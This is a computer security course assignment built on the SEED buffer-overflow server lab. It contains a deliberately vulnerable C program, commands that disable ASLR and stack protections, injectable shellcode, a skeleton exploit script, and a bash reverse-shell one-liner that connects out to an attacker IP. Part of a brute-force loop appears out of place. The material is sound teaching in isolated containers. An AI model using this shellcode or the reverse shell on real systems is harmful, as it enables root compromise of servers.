

Computer Security 460

Assignment 2 Buffer Overflow 100pts

Part 1 (50pts) Pen'n'Paper Problems

Part 2 (50pts) Hands On Lab

Answer All parts for all 100 credits.

Provide a docx or pdf report with your answers for both parts.

For the lab part attach the exploit.py that you used to perform the attack as well. Additionally in your report create the stack that justifies why you used those numbers in your exploit.

No Extensions will be given

Part 1: Pen'n'Paper Exercises

(10pts) 1. Why does ASLR make buffer-overflow attack more difficult?

(20pts) 2. Read the following code. Draw the stack for this function for all variables, arguments, return address and frame pointer.

Assume memory address range for stack and heap [0x0000 - 0x4000]

```
void func(char * str)                                0x4000
{
    char *ptr =malloc(0x10);
    char buf[0x100];
    int j;
}                                                       0x0000
```

(10 pts) 3 In the buffer overflow example shown bellow:

```
int main(int argc, char *argv[]) {
    char buf[0x100];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    return 0;
}
```

the buffer overflow occurs inside the strcpy() function. Will the shellcode injected be executed when strcpy returns or when main returns? Please explain.

(10 pts) 4. What is the NOP sled and why do attackers use it in buffer overflow?

10pts per task Buffer Overflow Attack Lab (Server Version)

Copyright © 2020 by Wenliang Du.

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

1 Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given four different servers, each running a program with a buffer-overflow vulnerability. Their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege on these servers. In addition to the attacks, students will also experiment with several countermeasures against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout in a function invocation
- Address randomization, Non-executable stack, and StackGuard
- Shellcode. We have a separate lab on how to write shellcode from scratch.

Readings and videos. Detailed coverage of the buffer-overflow attack can be found in the following:

- Chapter 4 of the SEED Book, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. See details at <https://www.handsonsecurity.net>.
- Section 4 of the SEED Lecture at Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. See details at <https://www.handsonsecurity.net/video.html>.

Lab environment. This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud

2 Lab Environment Setup

Download the buffer overflow server lab

https://seedsecuritylabs.org/Labs_20.04/Software/

!!!Important If you have Apple Silicon download the arm64 version!!!!

Please download the `Labsetup.zip` file to your VM from the lab's website, unzip it, and you will get a folder called `Labsetup`. All the files needed for this lab are included in this folder.

2.1 Turning off Countermeasures

Before starting this lab, we need to make sure the address randomization countermeasure is turned off; otherwise, the attack will be difficult. You can do it using the following command:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

2.2 The Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the `server-code` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the lab setup file.

Listing 1: The vulnerable program `stack.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);    ☆

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];

    int length = fread(str, sizeof(char), 517, stdin);
    bof(str);
    fprintf(stdout, "==== Returned Properly ====\\n");
    return 1;
}
```

The above program has a buffer overflow vulnerability. It reads data from the standard input, and then passes the data to another buffer in the function `bof()`. The original input can have a maximum length of 517 bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than 517. Because `strcpy()` does not check boundaries, buffer overflow will occur.

The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a

remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server.

Compilation. To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable stack protections using the `-fno-stack-protector` and `"-z execstack"` options. The following is an example of the compilation command (the `L1` environment variable sets the value for the `BUF_SIZE` constant inside `stack.c`).

```
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
```

We will compile the `stack` program into both 32-bit and 64-bit binaries. Our pre-built Ubuntu 20.04 VM is a 64-bit VM, but it still supports 32-bit binaries. All we need to do is to use the `-m32` option in the `gcc` command. For 32-bit compilation, we also use `-static` to generate a statically-linked binary, which is self-contained and not depending on any dynamic library, because the 32-bit dynamic libraries are not installed in our containers.

The compilation commands are already provided in `Makefile`. To compile the code, you need to type `make` to execute those commands. The variables `L1`, `L2`, `L3`, and `L4` are set in `Makefile`; they will be used during the compilation. After the compilation, we need to copy the binary into the `bof-containers` folder, so they can be used by the containers. The following commands conduct compilation and installation.

```
$ make
$ make install
```

For instructors (customization). To make the lab slightly different from the one offered in the past, instructors can change the value for `BUF_SIZE` by requiring students to compile the server code using different `BUF_SIZE` values. In `Makefile`, the `BUF_SIZE` value is set by four variables `L1`, ..., `L4`. Instructors should pick the values for these variables based on the following suggestions:

- `L1`: pick a number between 100 and 400
- `L2`: pick a number between 100 and 200
- `L3`: pick a number between 100 and 400
- `L4`: pick a number between 20 and 80; we need to keep this number smaller, to make this level more challenging than the previous level.

The Server Program. In the `server-code` folder, you can find a program called `server.c`. This is the main entry point of the server. It listens to port 9090. When it receives a TCP connection, it invokes the `stack` program, and sets the TCP connection as the standard input of the `stack` program. This way, when `stack` reads data from `stdin`, it actually reads from the TCP connection, i.e. the data are provided by the user on the TCP client side. It is not necessary for students to read the source code of `server.c`.

2.3 Container Setup and Commands

Please download the `Labsetup.zip` file to your VM from the lab's website, unzip it, enter the `Labsetup` folder, and use the `docker-compose.yml` file to set up the lab environment. Detailed explanation of the content in this file and all the involved `Dockerfile` can be found from the user manual, which is linked to the website of this lab. If this is the first time you set up a SEED lab environment using containers, it is very important that you read the user manual.

In the following, we list some of the commonly used commands related to Docker and Compose. Since we are going to use these commands very frequently, we have created aliases for them in the `.bashrc` file (in our provided SEEDUbuntu 20.04 VM).

```
$ docker-compose build # Build the container image
$ docker-compose up    # Start the container
$ docker-compose down  # Shut down the container

// Aliases for the Compose commands above
$ dcbuild              # Alias for: docker-compose build
$ dcup                # Alias for: docker-compose up
$ dcdown              # Alias for: docker-compose down
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. We first need to use the `"docker ps"` command to find out the ID of the container, and then use `"docker exec"` to start a shell on that container. We have created aliases for them in the `.bashrc` file.

```
$ dockps              // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>         // Alias for: docker exec -it <id> /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// Note: If a docker command requires a container ID, you do not need to
//       type the entire ID string. Typing the first few characters will
//       be sufficient, as long as they are unique among all the containers.
```

If you encounter problems when setting up the lab environment, please read the “Common Problems” section of the manual for potential solutions.

Note. It should be noted that before running `"docker-compose build"` to build the docker images, we need to compile and copy the server code to the `bof-containers` folder. This step is described in Section 2.2.

3 10 pts Task 1: Get Familiar with the Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program’s privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

Shellcode is typically used in code injection attacks. It is basically a piece of code that launches a shell, and is usually written in assembly languages. In this lab, we only provide the binary version of a generic shellcode, without explaining how it works, because it is non-trivial. If you are interested in how exactly shellcode works, and want to write a shellcode from scratch, you can learn that from a separate SEED lab called *Shellcode Lab*. Our generic shellcode is listed in the following (we only list the 32-bit version):

```

shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd      *"
    # The * in this line serves as the position marker      *
    "AAAA" # Placeholder for argv[0] --> "/bin/bash"
    "BBBB" # Placeholder for argv[1] --> "-c"
    "CCCC" # Placeholder for argv[2] --> the command string
    "DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

```

The shellcode runs the `/bin/bash` shell program (Line ❶), but it is given two arguments, `-c` (Line ❷) and a command string (Line ❸). This indicates that the shell program will run the commands in the second argument. The `*` at the end of these strings is only a placeholder, and it will be replaced by one byte of `0x00` during the execution of the shellcode. Each string needs to have a zero at the end, but we cannot put zeros in the shellcode. Instead, we put a placeholder at the end of each string, and then dynamically put a zero in the placeholder during the execution.

If we want the shellcode to run some other commands, we just need to modify the command string in Line ❸. However, when making changes, we need to make sure not to change the length of this string, because the starting position of the placeholder for the `argv[]` array, which is right after the command string, is hardcoded in the binary portion of the shellcode. If we change the length, we need to modify the binary part. To keep the star at the end of this string at the same position, you can add or delete spaces.

You can find the generic shellcode in the `shellcode` folder. Inside, you will see two Python programs, `shellcode_32.py` and `shellcode_64.py`. They are for 32-bit and 64-bit shellcode, respectively. These two Python programs will write the binary shellcode to `codefile_32` and `codefile_64`, respectively. You can then use `call_shellcode` to execute the shellcode in them.

```

// Generate the shellcode binary
$ ./shellcode_32.py      → generate codefile_32
$ ./shellcode_64.py      → generate codefile_64

// Compile call_shellcode.c
$ make                  → generate a32.out and a64.out

// Test the shellcode
$ a32.out                → execute the shellcode in codefile_32
$ a64.out                → execute the shellcode in codefile_64

```

Task. Please modify the shellcode, so you can use it to delete a file. Please include your modified the shellcode in the lab report, as well as your screenshots.

4 20 pts Task 2: Level-1 Attack

When we start the containers using the included `docker-compose.yml` file, four containers will be running, representing four levels of difficulties. We will work on Level 1 in this task.

4.1 Server

Our first target runs on 10.9.0.5 (the port number is 9090), and the vulnerable program `stack` is a 32-bit program. Let's first send a benign message to this server. We will see the following messages printed out by the target container (the actual messages you see may be different).

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffdb88 ☆
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffdb18 ☆
server-1-10.9.0.5 | ==== Returned Properly ====
```

The server will accept up to 517 bytes of the data from the user, and that will cause a buffer overflow. Your job is to construct your payload to exploit this vulnerability. If you save your payload in a file, you can send the payload to the server using the following command.

```
$ cat <file> | nc 10.9.0.5 9090
```

If the server program returns, it will print out "Returned Properly". If this message is not printed out, the `stack` program has probably crashed. The server will still keep running, taking new connections.

For this task, two pieces of information essential for buffer-overflow attacks are printed out as hints to students: the value of the frame pointer and the address of the buffer (lines marked by ☆). The frame point register called `ebp` for the x86 architecture and `rbp` for the x64 architecture. You can use these two pieces of information to construct your payload.

Added randomness. We have added a little bit of randomness in the program, so different students are likely to see different values for the buffer address and frame pointer. The values only change when the container restarts, so as long as you keep the container running, you will see the same numbers (the numbers seen by different students are still different). This randomness is different from the address-randomization countermeasure. Its sole purpose is to make students' work a little bit different.

4.2 Writing Exploit Code and Launching Attack

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside a file (we will use `badfile` as the file name in this document). We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the lab setup file. The code is incomplete, and students need to replace some of the essential values in the code.

Listing 2: The skeleton exploit code (`exploit.py`)

```
#!/usr/bin/python3
import sys

# You can copy and paste the shellcode from Task 1
shellcode = (
    "" # ☆ Need to change ☆
```

```
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 0          # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and save it somewhere in the payload
ret      = 0xAABCCDD    # ☆ Need to change ☆
offset = 0             # ☆ Need to change ☆

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

After you finish the above program, run it. This will generate the contents for `badfile`. Then feed it to the vulnerable server. If your exploit is implemented correctly, the command you put inside your shellcode will be executed. If your command generates some outputs, you should be able to see them from the container window. Please provide proofs to show that you can successfully get the vulnerable server to run your commands.

```
$/exploit.py    // create the badfile
$ cat badfile | nc 10.9.0.5 9090
```

Reverse shell. We are not interested in running some pre-determined commands. We want to get a root shell on the target server, so we can type any command we want. Since we are on a remote machine, if we simply get the server to run `/bin/sh`, we won't be able to control the shell program. Reverse shell is a typical technique to solve this problem. Section 10 provides detailed instructions on how to run a reverse shell. Please modify the command string in your shellcode, so you can get a reverse shell on the target server. Please include screenshots and explanation in your lab report.

10 pts Task 6: Experimenting with the Address Randomization

At the beginning of this lab, we turned off one of the countermeasures, the Address Space Layout Randomization (ASLR). In this task, we will turn it back on, and see how it affects the attack. You can run the following command on your VM to enable ASLR. This change is global, and it will affect all the containers running inside the VM.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

Please send a `hello` message to the Level 1 and Level 3 servers, and do it multiple times. In your report, please report your observation, and explain why ASLR makes the buffer-overflow attack more difficult.

```
value=$(( $value + 1 ))
duration=$SECONDS
min=$(( $duration / 60 ))
sec=$(( $duration % 60 ))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
cat badfile | nc 10.9.0.5 9090
done
```

10 pts Task 7: Experimenting with Other Countermeasures

9.1 Task 7.a: Turn on the StackGuard Protection

Many compiler, such as `gcc`, implements a security mechanism called *StackGuard* to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable programs were compiled without enabling the StackGuard protection. In this task, we will turn it on and see what will happen.

Please go to the `server-code` folder, remove the `-fno-stack-protector` flag from the `gcc` flag, and compile `stack.c`. We will only use `stack-L1`, but instead of running it in a container, we will directly run it from the command line. Let's create a file that can cause buffer overflow, and then feed the content of the file `stack-L1`. Please describe and explain your observations.

```
$ ./stack-L1 < badfile
```

9.2 Task 7.b: Turn on the Non-executable Stack Protection

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the `gcc`, which by default makes stack non-executable. We can specifically make it non-executable using the `"-z noexecstack"` flag in the compilation. In our previous tasks, we used `"-z execstack"` to make stacks executable.

In this task, we will make the stack non-executable. We will do this experiment in the `shellcode` folder. The `call_shellcode` program puts a copy of shellcode on the stack, and then executes the code from the stack. Please recompile `call_shellcode.c` into `a32.out` and `a64.out`, without the `"-z execstack"` option. Run them, describe and explain your observations.

Defeating the non-executable stack countermeasure. It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The *return-to-libc* attack is an example. We have designed a separate lab for that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.

10 Guidelines on Reverse Shell

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `-l` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port 9090 (let us focus only on the first line).

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$          ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255
        ...
```

The above `nc` command will block, waiting for a connection. We now directly run the following bash program on the Server machine (10.0.2.5) to emulate what attackers would run after compromising the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker machine's port 9090, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed 10.0.2.5, the one belonging to the Server machine. Here is the bash command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation in the following:

- `"/bin/bash -i"`: The option `i` stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- `> /dev/tcp/10.0.2.6/9090"`: This causes the output device (`stdout`) of the shell to be redirected to the TCP connection to 10.0.2.6's port 9090. In Unix systems, `stdout`'s file descriptor is 1.
- `"0<&1"`: File descriptor 0 represents the standard input device (`stdin`). This option tells the system to use the standard output device as the standard input device. Since `stdout` is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- `"2>&1"`: File descriptor 2 represents the standard error `stderr`. This causes the error output to be redirected to `stdout`, which is the TCP connection.

In summary, the command `"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1"` starts a bash shell on the server machine, with its input coming from a TCP connection, and output going to the

same TCP connection. In our experiment, when the `bash` shell command is executed on `10.0.2.5`, it connects back to the `netcat` process started on `10.0.2.6`. This is confirmed via the "Connection from `10.0.2.5` ..." message displayed by `netcat`.

11 Submission

You need to submit a detailed lab report in docx or pdf format, with screenshots, to describe what you have done and what you have observed. In your report attach the `exploit.py` script with the values you used to perform the attack. To justify those values create the stack showing where you placed your exploit and thus justifying the numbers you selected.